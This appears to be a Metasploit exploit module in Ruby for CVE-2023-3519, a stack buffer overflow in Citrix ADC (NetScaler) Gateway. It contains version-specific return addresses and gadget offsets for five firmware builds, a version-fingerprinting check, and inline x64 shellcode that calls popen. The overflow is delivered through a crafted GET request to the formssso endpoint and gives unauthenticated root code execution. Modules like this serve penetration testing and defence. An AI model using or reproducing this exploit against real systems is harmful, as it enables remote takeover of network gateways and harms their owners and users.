##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',
        'Description' => %q{
          A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer
          overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in
          remote code execution as root.
        },
        'Author' => [
          'Ron Bowes', # Analysis and module
          'Douglass McKee', # Analysis and module
          'Spencer McIntyre', # Just the module
          'rwincey' # Version detection
        ],
        'References' => [
          ['CVE', '2023-3519'],
          ['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],
          ['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']
        ],
        'DisclosureDate' => '2023-07-18',
        'License' => MSF_LICENSE,
        'Platform' => ['unix'],
        'Arch' => [ARCH_CMD],
        'Payload' => {
          # at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']
          'Space' => 2048,
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Automatic Targeting', {} ],
          # In some versions the epilogue reads directly from rbp and since the exploit clobbers it, the value needs to
          # be restored. In these cases return_rbp_adjustment is defined in the target. If the epilogue pops the values
          # from the stack, then RBP doesn't need to be restored and return_rbp_adjustment can be left undefined.
          [
            'Citrix ADC 13.1-48.47',
            {
              'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01da6340,
              'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp
              'return_offset' => 168,
              'timestamp' => 1685774350
            },
          ],
          [
            'Citrix ADC 13.1-37.38',
            {
              'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x13a8,
              'popen' => 0x01d7e320,
              'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback
              'return_offset' => 168,
              'timestamp' => 1669199916
            },
          ],
          [
            'Citrix ADC 13.0-91.12',
            {
              'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid
              'fixup_rsp_adjustment' => 0x12e0,
              'fixup_rbp_adjustment' => 0x190,
              'popen' => 0x01f42ec0,
              'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic
              'return_offset' => 168,
              'timestamp' => 1683865450
            }
          ],
          [
            'Citrix ADC 12.1-65.25',
            {
              'fixup_return' => 0x009babca, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
              'fixup_rsp_adjustment' => 0x1560,
              'fixup_rbp_adjustment' => 0x120,
              'popen' => 0x01b31e20,
              'return' => 0x007d0845, # jmp rsp; ns_audit_cmd2strrer
              'return_offset' => 168,
              'timestamp' => 1669466053
            }
          ],
          [
            'Citrix ADC 12.1-64.17',
            {
              'fixup_return' => 0x009b98aa, # mov rbx, qword [rbp-0x28]; ns_aaa_client_handler
              'fixup_rsp_adjustment' => 0x1560,
              'fixup_rbp_adjustment' => 0x120,
              'popen' => 0x01b2e960,
              'return' => 0x01333f18, # jmp rsp; nssmpp_process_message_queue
              'return_offset' => 168,
              'timestamp' => 1650533675
            }
          ]
        ],
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'WfsDelay' => 10
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def check
    # version 13.x resource path
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')
    })
    return CheckCode::Unknown if res.nil?

    if res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/
      mytarget = get_target
      return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget

      return CheckCode::Detected
    end

    # version 12.x resource path
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'vpn', 'index.html')
    })
    return CheckCode::Unknown if res.nil?

    if res.code == 200 && res.body =~ /Citrix Gateway/ && res.body =~ /AccessGateway\.ico/
      mytarget = get_target
      return CheckCode::Appears("Detected #{mytarget.name}.") if mytarget

      return CheckCode::Detected
    end

    CheckCode::Safe
  end

  def get_target
    return @detected_target if @detection_ran

    @detection_ran = true
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'fonts', 'citrix-fonts.css')
    })

    return nil unless res&.headers&.[]('Last-Modified').present?

    timestamp = DateTime.parse(res.headers['Last-Modified']).to_i
    @detected_target = targets.select { |t| t.opts['timestamp'] == timestamp }.first
  end

  def exploit
    mytarget = target
    if mytarget.name == 'Automatic Targeting'
      mytarget = get_target
      fail_with(Failure::NoTarget, 'The target did not match a known fingerprint for automatic targeting.') if mytarget.nil?
    end

    shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: mytarget)).encode_string
      call loc_popen_arg1
        ; add this to the path for python payloads
        db "export PATH=/var/python/bin:$PATH;"
        db "#{Rex::Text.to_hex(payload.encoded)}", 0
      loc_popen_arg1:
        pop  rdi

      call loc_popen_arg2
        db "r", 0
      loc_popen_arg2:
        pop rsi

        mov  rax, <%= target['popen'] %>
        sub  rsp, 0x200
        call rax

      loc_return:
        xor rax, rax
        add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>
        <% if target['fixup_rbp_adjustment'] %>
        mov rbp, rsp
        add rbp, <%= target['fixup_rbp_adjustment'] %>
        <% end %>
        push     <%= target['fixup_return'] %>
        ret
    SHELLCODE

    buffer = rand_text_alphanumeric(mytarget['return_offset'])
    buffer << [mytarget['return']].pack('Q')
    buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join

    send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),
      'encode_params' => false,  # we'll encode them ourselves
      'vars_get' => {
        'event' => 'start',
        'target' => buffer
      }
    })
  end

  class Template
    def self.render(template, context = nil)
      case context
      when Hash
        b = binding
        locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }
        b.eval(locals.join)
      when NilClass
        b = binding
      else
        raise ArgumentError
      end

      b.eval(Erubi::Engine.new(template).src)
    end
  end
end
